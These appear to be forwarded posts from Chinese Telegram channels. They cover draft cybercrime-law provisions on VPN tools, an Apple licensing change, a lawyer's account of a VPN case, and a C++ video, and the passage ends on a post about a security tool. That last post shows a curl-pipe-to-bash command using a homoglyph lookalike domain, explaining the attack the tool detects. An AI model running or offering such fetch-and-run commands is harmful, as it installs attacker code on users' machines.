Forwarded from Nanase的随记
《网络犯罪防治法(征求意见稿)》公开征求意见的公告
https://www.mps.gov.cn/n2254536/n4904355/c10386242/content.html
节选:
第十一条第三款 (境外卡)
第十四条第六款 (“翻墙”工具)
第十五条第四款 (“非法”工具调用的库,可能受到的牵连)
第三十一条第一款 (协助)
第四十四条 (GFW的法理依据)
第五十七条 (罚则)
第五十八条 (罚则)
https://www.mps.gov.cn/n2254536/n4904355/c10386242/content.html
节选:
第十一条第三款 (境外卡)
(三)非法买卖境外移动电话卡、物联网卡、银行账户、支付账户的;
第十四条第六款 (“翻墙”工具)
(六)其他由省级以上公安机关会同电信、广播电视等主管部门认定的,专门用于实施网络违法犯罪或者具有规避监管制度功能的设备、软件、工具、服务。
第十五条第四款 (“非法”工具调用的库,可能受到的牵连)
(四)其他由省级以上公安机关会同电信等主管部门认定的,可能被大量用于网络违法犯罪的设备、软件、工具、服务。
第三十一条第一款 (协助)
(一)为违法的应用程序提供电子签名、制作、封装、发布或者以测试为名提供下载等服务的;
第四十四条 (GFW的法理依据)
第四十四条 国家网信部门统筹相关部门和网络运营者采取技术措施和其他必要措施,阻断来源于中华人民共和国境外的违法信息。
网络运营者发现用于实施违法犯罪活动的网络域名、网络地址、网络账号、电话线路、网络线路、应用程序,应当及时采取措施予以阻断,并向公安机关等主管部门报告。
任何个人和组织不得违反国家有关规定,制作、销售、提供相关设备、软件、工具、线路、服务,为他人获取、传播第一款被依法阻断的信息提供技术支持或者帮助。
第五十七条 (罚则)
第五十七条 违反本法第十一条至十三条的规定,扰乱实名注册等制度的,由公安机关没收违法所得,并处违法所得一倍以上十倍以下罚款,没有违法所得或者违法所得不足二万元的,处二十万元以下罚款;情节严重的,并处十五日以下拘留。
对上述被行政处罚的个人和组织,有关主管部门可以将其列入黑名单,责令有关服务提供者对其采取限制使用、限制或者禁止开设卡号等惩戒措施。
第五十八条 (罚则)
违反本法第十四条、第十五条、第十七条第三款和第四十四条第三款规定,制作、销售、提供、使用相关设备、软件、工具、服务的,由公安机关、网信部门、电信主管部门、市场监管部门等依据职责予以没收,处违法所得一倍以上十倍以下罚款,没有违法所得或者违法所得不足五万元的,处五十万元以下罚款;情节严重的,由公安机关并处十五日以下拘留。
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Forwarded from 蓝点网订阅频道
#软件资讯 另类噩耗!苹果不再允许用户扛着 MacBook 到苹果零售店拷贝 Final Cut Pro,现在拷贝的版本因没有购买授权记录无法启动。
以前用户可以通过拷贝展示机上的 Final Cut 白嫖授权,现在这种白嫖方式被封堵,不过以前拷贝的版本还能继续使用,只是不能再更新。
查看全文:https://ourl.co/111722?t
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以前用户可以通过拷贝展示机上的 Final Cut 白嫖授权,现在这种白嫖方式被封堵,不过以前拷贝的版本还能继续使用,只是不能再更新。
查看全文:https://ourl.co/111722?t
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Forwarded from 新·世界观察日志
提供侵入工具罪,历时两年半,平安落地
https://www.xiaohongshu.com/discovery/item/698172ad000000000d009358
某金融项目于2023年暴雷,调查过程中,发现我的当事人有相关的转账记录,然而调查发现当事人转账的行为属于合法业务往来,无任何违法犯罪行为。调查中还发现,当事人还经营VPN业务,且流水特别特别特别巨大,“恰巧”此时当事人所经营的VPN网站被当地用户举报。于是当事人被指控提供侵入、非法控制计算机信息系统程序、工具罪。
案发时,当事人恰巧不在国内,而是在东南亚经营民宿、旅游业务,因害怕回国被摁,故一直不敢回国。我使用一些方法,得知当事人已经被挂网逃,于是当事人进一步委托我协助他处理国内事务,我帮助当事人基于事实,梳理了业务数据,资金的流向,以及其他非常重要的事务,同时关注紧密国内动向,等待一个回国自首的机会。
这两年中,我通过多方渠道了解到,办案机关对该案件的态度有了一些微妙的变化(不能细说),于是我多次与办案人员沟通,多方需求与意见达成一致后,引导当事人回国自首,当天我和办案人员一同到机场接当事人,并在当天拿到取保候审。
仅半个月后,案件被移送到检察院,我正常提交辩护意见,成功拿下不起诉。核心辩护点:
1、VPN软件并不具有侵入和非法控制的功能和行为。
2、我国没有任何正式生效的官方文件承认GFW的存在,《网络数据安全管理条例》将其定义为“技术措施”而非“计算机信息系统”。
3、无完整的证据链条,比如涉案金额,查到的用户是12万,推测的流水金额有2000万,后来又降到1400万,最后能查实的金额只有几万元。
综合以上,故当事人行为不构成提供侵入、非法控制计算机信息系统程序、工具罪。
挂了两年的案子,总得有个合适的收场,行政处罚是最好的选择,我帮当事人从罚款60万+行政拘留,一路谈到只罚款30万,各方都拿到满意的结果,至此,耗时两年半,案子完美结束。
https://www.xiaohongshu.com/discovery/item/698172ad000000000d009358
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【Lazo Velko】有史以来最烂的编程语言
@_7sDream_
https://www.youtube.com/watch?v=7fGB-hjc2Gc
原标题:The worst programming language of all time
发布时间:2025-11-19
狂喷 C++ 两小时,看爽了。
对了,中文标题是 Gemini 翻译的,不代表本人立场(
不过话说回来,就是因为一代代的开发者在使用 C++ 的过程中遇到了这么多痛苦,才让现代编程语言在进行设计决策时就避免了很多坑。任何人都是没办法超越时代的桎梏的,编程语言也一样,理性看待就好。
感觉内容不太需要精翻,就算听不懂看屏幕上的例子也能大概懂他在喷什么。实在需要可以自行打开 CC 字幕,来自油管机翻。
@_7sDream_
Forwarded from codedump的电报频道 (老C)
#开源项目
#Rust
tirith
仅凭肉眼,根本看不出下面两个curl命令的区别:
#Rust
tirith
仅凭肉眼,根本看不出下面两个curl命令的区别:
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised